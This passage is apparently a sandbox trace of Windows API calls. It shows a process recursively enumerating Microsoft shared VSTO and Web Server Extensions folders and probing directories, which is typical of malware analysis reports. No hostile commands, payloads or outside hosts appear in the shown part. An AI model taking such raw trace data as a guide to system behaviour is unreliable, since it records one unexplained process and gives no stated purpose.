dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.484] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.484] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0087.484] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1336200, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x274de510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1336200, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0087.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305728 [0087.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bba68 [0087.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305830 [0087.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.486] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x15558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0087.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.487] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x40d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0087.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.489] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd576f200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0087.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.490] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd576f200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0087.490] GetLastError () returned 0x12 [0087.490] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0087.490] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0087.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305938 [0087.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.497] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.498] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.498] NtClose (Handle=0x124) returned 0x0 [0087.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305938) returned 1 [0087.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305938 [0087.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305a40 [0087.499] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0087.500] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.500] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0087.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.501] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5071160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0087.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.502] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5071160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0087.502] GetLastError () returned 0x12 [0087.502] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0087.503] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.503] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.503] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0087.503] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5071160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0087.503] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5071160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0087.503] GetLastError () returned 0x12 [0087.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305a40) returned 1 [0087.503] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305938) returned 1 [0087.504] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1336200, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x274de510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1336200, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0087.504] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x15558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0087.504] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x40d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0087.504] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd576f200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0087.504] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd576f200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0087.504] GetLastError () returned 0x12 [0087.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305620) returned 1 [0087.504] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305728) returned 1 [0087.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.504] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a6ab00, ftCreationTime.dwHighDateTime=0x1cacb2a, ftLastAccessTime.dwLowDateTime=0x5e9eb8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a6ab00, ftLastWriteTime.dwHighDateTime=0x1cacb2a, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionsPane3.xsd", cAlternateFileName="")) returned 1 [0087.504] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x1e948, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0087.505] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0087.505] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5150, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0087.505] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5150, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0087.505] GetLastError () returned 0x12 [0087.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.505] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.506] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0087.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.507] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.507] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.507] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.508] NtClose (Handle=0x16c) returned 0x0 [0087.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.509] 